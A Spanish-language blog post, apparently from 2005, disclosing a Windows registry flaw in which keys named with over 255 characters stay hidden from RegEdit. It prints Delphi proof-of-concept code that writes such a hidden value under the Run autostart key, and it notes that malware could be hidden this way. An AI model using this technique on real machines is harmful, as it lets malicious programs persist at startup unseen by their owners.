La Naturaleza del Software

Comparta esto post

Una seria falla en el registro de Windows

newsletter.lnds.net

Discover more from La Naturaleza del Software

Un newsletter sobre tecnología y personas
Continue reading
Sign in

Una seria falla en el registro de Windows

Eduardo Díaz
12 oct 2005
Comparta esto post

Una seria falla en el registro de Windows

newsletter.lnds.net
Compartir

Sucede que a veces uno se topa con problemas mas grandes de lo que se imagina.

Investigando sobre un fallo reportado en Secunia en Agosto, nunca sospeche que el problema era más serio de lo que pensaba.

Esencialmente, la falla permite excribir una entrada (key) en el registry que no es visible para las herramientas como Microsoft RegEdit.

Como se muestra en la imagen, pude crear una entrada oculta en el registry:

Resulta que debajo de Optional hay una llave cuyo nombre consiste de 256 X seguidas.

El siguiente código en Delphi, permite explicar el fallo:

 procedure TestRegistryFlaw;
var
I: Integer;
reg : TRegistry;
key : string;
begin
reg := TRegistry.Create;
key := 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Optional\';
try
for I := 0 to 255 do // Iterate
key := key + 'X';
reg.RootKey := HKEY_LOCAL_MACHINE;
if reg.OpenKey(key, true) then
begin
ShowMessage('trying to hack');
reg.WriteString('TestFlaw', 'This is hacked registry key');
ShowMessage('hacked!!!');
end;
finally
reg.Free;
end;
end;
procedure CheckRegistryFlaw;
var
I: Integer;
reg : TRegistry;
key : string;
begin
reg := TRegistry.Create;
key := 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Optional\';
try
reg.RootKey := HKEY_LOCAL_MACHINE;
for I := 0 to 255 do // Iterate
key := key + 'X';
if reg.OpenKey(key, false) then
ShowMessage(reg.ReadString('TestFlaw'));
finally
reg.Free;
end;
end;

Lo que tenemos aquí es que hemos creado una entrada que no es visible por regedit y otros utilitarios de Windows.

Pero lo peor, es que en Microsoft.Net este código no puede ser creado, porque la Clase RegistryKey hace un chequeo, levantando una excepción si uno trata de escribir una llave de largo mayor que 255.

En suma, lo que hacen en Microsoft.Net es ocultar el bug debajo de la alfombra.

Pero, ¿cual es el problema con esto? es que uno puede escribir código en la llave Run de Windows, con lo que se haceposible ocultar virus o malware de cualquier tipo, para ser ejecutado en cuanto se inicia Windows, y usted no podrá verlo, porque las herramientas de Windows no le dan la posibilidad de revisar este código malicioso.

Es posible escribir código en C# o C++ que hace lo mismo que el código Delphi que escribí más arriba. Sugiero ver mi post en DarkSideProgramming: Hidding a Flaw.

Pero lo interesante, es que algunos programadores en CodeProject han descubierto que, al menos en Windows XP conSP2 la falla es más seria !

Comparta esto post

Una seria falla en el registro de Windows

newsletter.lnds.net
Compartir
Comentarios
Superior
Nuevo
Comunidad

No Post

¿Listo para más?

© 2023 Eduardo Díaz
Privacidad ∙ Términos ∙ Aviso de colección
Comience a EscribirObtenga la App
Substack es el hogar para la gran escritura